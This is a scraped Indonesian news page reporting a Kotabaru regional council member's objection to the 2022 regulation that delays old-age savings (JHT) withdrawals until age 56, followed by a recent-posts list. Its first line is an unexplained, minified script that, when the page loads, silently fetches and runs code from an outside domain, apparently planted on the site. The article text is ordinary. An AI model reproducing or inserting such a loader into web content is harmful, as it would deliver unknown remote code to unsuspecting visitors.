(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Anggota DPRD Kotabaru Ini Buka Suara Terkait Kebijakan JHT


KANALKALIMANTAN.COM, KOTABARU – Dikeluarkannya Peraturan Menteri Tenaga Kerja (Permenaker) nomor 2 tahun 2022 tentang persyaratan Jaminan Hari Tua (JHT), menjadi perhatian anggota DPRD Kotabaru.

Rabbiansyah yang selalu kencang menyuarakan suara kaum buruh menanggapi peraturan yang telah dikeluarkan oleh pemerintah pusat tersebut.

Menurut dia, isi dari Permaneker tersebut adalah JHT baru boleh diambil minimal usia 56 tahun bagi buruh atau pekerja yang terdaftar di BPJS Ketenagakerjaan adalah menjadi kebijakan buruk.

“Kita ketahui sebelumnya, buruh juga dirontokkan atas Undang Undang Ciptakerja dan empat turunannya. Saya selaku anggota DPRD Kotabaru dari Komisi I sama sekali tidak setuju atas kebijakan tersebut yang menurut saya dapat merugikan kaum buruh,” ucap pria yang akrab disapa Roby ini kepada kanalkalimantan.com, Jumat (18/2/22).

 

Baca juga : Sabet 13 Medali, Kadisdikbud HSU Beri Apresiasi Taekwondoin HSU

Dengan tegas ia menerangkan, yang menjadi dasar penolakan itu yakni, iuran JHT senilai 2 persen dari gaji jelas dibayarkan setiap bulan dari pekerja kepada BPJS Ketenagakerjaan, dan itu murni dari uang para pekerja.

“Nah, bagaimana mungkin karyawan atau buruh yang berhenti di perusahaan sebelum usia 56 tahun maka jelas terhambat untuk proses pencairan dana JHT nya yang harusnya bisa dibuat modal usaha dan sebagainya,” tambah dia.

Dikatakannya, karyawan yang terkena PHK dibawah usia 56 tahun tidak bisa mengambil JHT yang notabene itu asuransi dari para pekerja sendiri yang harusnya setelah satu bulan berhenti bisa mengurus pencairannya.

Pertanyaannya kemudian adalah, sambungnya, untuk apa uang karyawan yang terdaftar di BPJS Ketenagakerjaan yang setiap bulan dibayarkan iurannya sebesar 2 persen dari gaji sementara pada saat mereka berhenti JHT tidak bisa dicairkan.

“Yang jelas sekali lagi saya tidak setuju dengan kebijakan yang lagi-lagi menyengsarakan kaum buruh, bukan berusaha memberikan kesejahteraan, tetapi malah sebaliknya,” katanya. (kanalkalimantan.com/muhammad)

Reporter : Muhammad
Editor : Dhani


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.